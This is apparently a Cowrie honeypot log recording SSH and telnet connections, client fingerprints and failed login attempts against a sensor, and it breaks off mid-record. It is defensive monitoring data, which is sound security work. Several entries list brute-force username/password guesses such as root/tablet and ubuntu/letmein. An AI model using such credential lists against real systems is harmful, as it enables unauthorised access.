{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:21.114627Z","src_ip":"59.17.95.129","session":"77f98a585661","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:21.312313Z","src_ip":"59.17.95.129","session":"77f98a585661","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"letmein","message":"login attempt [ubuntu/letmein] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:22.132000Z","src_ip":"59.17.95.129","session":"77f98a585661","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:23.336075Z","src_ip":"59.17.95.129","session":"77f98a585661","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":52792,"dst_ip":"10.17.0.5","dst_port":22,"session":"d296bd0f7842","protocol":"ssh","message":"New connection: 194.59.206.2:52792 (10.17.0.5:22) [session: d296bd0f7842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:24.574597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:24.579828Z","src_ip":"194.59.206.2","session":"d296bd0f7842","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:24.670988Z","src_ip":"194.59.206.2","session":"d296bd0f7842","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:24.766925Z","src_ip":"194.59.206.2","session":"d296bd0f7842","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.69.201","src_port":56064,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0ddabb430b0","protocol":"ssh","message":"New connection: 43.153.69.201:56064 (10.17.0.5:22) [session: a0ddabb430b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:24.970190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:24.979269Z","src_ip":"43.153.69.201","session":"a0ddabb430b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:25.048718Z","src_ip":"43.153.69.201","session":"a0ddabb430b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":56636,"dst_ip":"10.17.0.5","dst_port":22,"session":"d98f1038851b","protocol":"ssh","message":"New connection: 58.186.20.143:56636 (10.17.0.5:22) [session: d98f1038851b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:25.101047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:25.105988Z","src_ip":"58.186.20.143","session":"d98f1038851b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:25.354648Z","src_ip":"58.186.20.143","session":"d98f1038851b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tablet","message":"login attempt [root/tablet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:25.362635Z","src_ip":"43.153.69.201","session":"a0ddabb430b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www-data123","message":"login attempt [root/www-data123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:26.379136Z","src_ip":"58.186.20.143","session":"d98f1038851b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:26.435059Z","src_ip":"43.153.69.201","session":"a0ddabb430b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:27.630937Z","src_ip":"58.186.20.143","session":"d98f1038851b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34642,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c331663223c","protocol":"telnet","message":"New connection: 152.42.224.71:34642 (10.17.0.5:23) [session: 3c331663223c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:31.674690Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":60540,"dst_ip":"10.17.0.5","dst_port":22,"session":"4dcd6a00f87a","protocol":"ssh","message":"New connection: 103.27.238.116:60540 (10.17.0.5:22) [session: 4dcd6a00f87a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:31.902183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:31.910819Z","src_ip":"103.27.238.116","session":"4dcd6a00f87a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:32.182704Z","src_ip":"103.27.238.116","session":"4dcd6a00f87a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"258963","message":"login attempt [root/258963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:32.997756Z","src_ip":"103.27.238.116","session":"4dcd6a00f87a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:34.272369Z","src_ip":"103.27.238.116","session":"4dcd6a00f87a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.119.118","src_port":58746,"dst_ip":"10.17.0.5","dst_port":22,"session":"1299e13d0cae","protocol":"ssh","message":"New connection: 170.106.119.118:58746 (10.17.0.5:22) [session: 1299e13d0cae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:41.229728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:41.235590Z","src_ip":"170.106.119.118","session":"1299e13d0cae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:41.307590Z","src_ip":"170.106.119.118","session":"1299e13d0cae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"satheesh","message":"login attempt [root/satheesh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:41.616086Z","src_ip":"170.106.119.118","session":"1299e13d0cae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:42.689163Z","src_ip":"170.106.119.118","session":"1299e13d0cae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":35592,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1b59dce8db2","protocol":"ssh","message":"New connection: 80.66.85.226:35592 (10.17.0.5:22) [session: d1b59dce8db2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:43.705747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:43.710308Z","src_ip":"80.66.85.226","session":"d1b59dce8db2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:43.815030Z","src_ip":"80.66.85.226","session":"d1b59dce8db2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321qwe","message":"login attempt [root/123321qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:44.107519Z","src_ip":"80.66.85.226","session":"d1b59dce8db2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:45.208863Z","src_ip":"80.66.85.226","session":"d1b59dce8db2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":55545,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3a9c4382239","protocol":"ssh","message":"New connection: 213.209.159.56:55545 (10.17.0.5:22) [session: f3a9c4382239]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:46.826743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:46.832583Z","src_ip":"213.209.159.56","session":"f3a9c4382239","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:46.915205Z","src_ip":"213.209.159.56","session":"f3a9c4382239","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"whitley","password":"whitley","message":"login attempt [whitley/whitley] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:47.315600Z","src_ip":"213.209.159.56","session":"f3a9c4382239","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"whitley","password":"whitley1","message":"login attempt [whitley/whitley1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:48.400851Z","src_ip":"213.209.159.56","session":"f3a9c4382239","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59552,"dst_ip":"10.17.0.5","dst_port":23,"session":"60019ae2d4b9","protocol":"telnet","message":"New connection: 152.42.224.71:59552 (10.17.0.5:23) [session: 60019ae2d4b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:48.870634Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.22.143","src_port":34762,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c86346aa400","protocol":"ssh","message":"New connection: 43.153.22.143:34762 (10.17.0.5:22) [session: 6c86346aa400]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:49.384322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:49.393967Z","src_ip":"43.153.22.143","session":"6c86346aa400","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha